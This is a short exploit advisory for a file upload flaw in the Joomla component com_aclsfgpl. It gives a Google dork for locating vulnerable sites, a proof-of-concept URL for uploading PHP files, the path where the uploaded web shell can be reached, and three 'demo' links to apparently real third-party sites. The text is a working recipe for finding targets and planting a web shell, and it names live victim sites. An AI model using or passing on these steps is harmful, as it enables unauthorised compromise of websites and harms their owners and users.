Joomla Component com_aclsfgpl File Upload Vulnerability

Google Dork: :inurl:"index.php?option=com_aclsfgpl" add_form

Exploit

You can upload file (.php/.php.jpg...)

P.O.C
127.0.0.1/index.php?option=com_aclsfgpl&Itemid=[num]&ct=servs1&md=add_form

Shell path:
copy shell pic link or 127.0.0.1/components/com_aclsfgpl/photos/

Demo:
http://www.club-plonXgee.com/index.php?option=com_aclsfgpl&Itemid=155&ct=womenm&md=add_form
http://www.triclubsXandiego.org/index.php?option=com_aclsfgpl&Itemid=269&ct=tcsd1&md=add_form
http://aero.decineXs.free.fr/modelisme/index.php?option=com_aclsfgpl&Itemid=90&ct=pet5&md=add_form